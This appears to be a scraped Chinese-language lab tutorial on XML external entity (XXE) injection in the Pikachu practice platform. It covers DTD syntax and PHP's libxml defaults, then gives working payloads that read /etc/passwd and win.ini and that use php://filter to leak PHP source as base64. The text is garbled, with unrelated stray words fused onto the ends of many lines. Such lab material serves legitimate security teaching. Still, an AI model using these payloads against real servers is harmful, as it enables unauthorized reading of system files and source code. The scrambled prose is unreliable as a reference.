Pikachu-XXE(xml外部實體注入漏洞)

XXE -"xml external entity injection"
"xml外部實體注入漏洞"。
歸納一下就是"攻擊者經過向服務器注入指定的xml實體內容,從而讓服務器按照指定的配置進行執行,致使問題"
也就是說服務端接收和解析了來自用戶端的xml數據,而又沒有作嚴格的安全控制,從而致使xml外部實體注入。

具體的關於xml實體的介紹,網絡上有不少,本身動手先查一下。
如今不少語言裏面對應的解析xml的函數默認是禁止解析外部實體內容的,從而也就直接避免了這個漏洞。
PHP爲例,在PHP裏面解析xml用的是libxml,其在≥2.9.0的版本中,默認是禁止解析xml外部實體內容的。php

 

第一部分:XML聲明部分安全

<?xml version="1.0"?>

 

第二部分:文檔類型定義 DTD服務器

<!DOCTYPE note[

<!--定義此文檔是note類型的文檔-->

<!ENTITY entity-name SYSTEM "URI/URL">

<!--外部實體聲明-->

]>

 

第三部分:文檔元素網絡

<note>

<to>Dave</to>

<from>Tom</from>

<head>Reminder</head>

<body>You are a good man</body>

</note>

 

其中,DTDDocument Type Definition,文檔類型定義),用來爲 XML 文檔定義語法約束,能夠是內部申明也能夠使引用外部DTD如今不少語言裏面對應的解析xml的函數默認是禁止解析外部實體內容的,從而也就直接避免了這個漏洞。函數

內部申明DTD格式<!DOCTYPE 根元素 [元素申明]>編碼

外部引用DTD格式<!DOCTYPE 根元素 SYSTEM "外部DTDURI">spa

引用公共DTD格式<!DOCTYPE 根元素 PUBLIC "DTD標識名" "公共DTDURI">code

外部實體引用 Payloadxml

<?xml version="1.0"?>

<!DOCTYPE ANY[

<!ENTITY f SYSTEM "file:///etc/passwd">

]>

<x>&f;</x>

 


 

1.PHP中有一個函數 simplexml_load_string() 將形式良好的 xml 字符串轉換爲 SimpleXMLElement 對象對象

PHP裏面解析xml用的是libxml,其在 ≥2.9.0 的版本中,默認是禁止解析xml外部實體內容的。

本章提供的案例中,爲了模擬漏洞,Pikachu平臺手動指定 LIBXML_NOENT 選項開啓了xml外部實體解析。

 

 

 

2先提交一個正常的 xml 數據

<?xml version = "1.0"?><!DOCTYPE note [

    <!ENTITY hacker "test">

]><name>&hacker;</name>

 

 

3.若是咱們提交下面這樣的payload,就能看到服務器上的文件內容

<?xml version = "1.0"?><!DOCTYPE ANY [

    <!ENTITY f SYSTEM "file:///C://Windows//win.ini">

]><x>&f;</x>

 

 

4.嘗試php協議,打印出了base64編碼後的xxe.php頁面,

<?xml version = "1.0"?>

<!DOCTYPE ANY [ <!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php"> ]> 

<x>&f;</x>

 

相關文章
相關標籤/搜索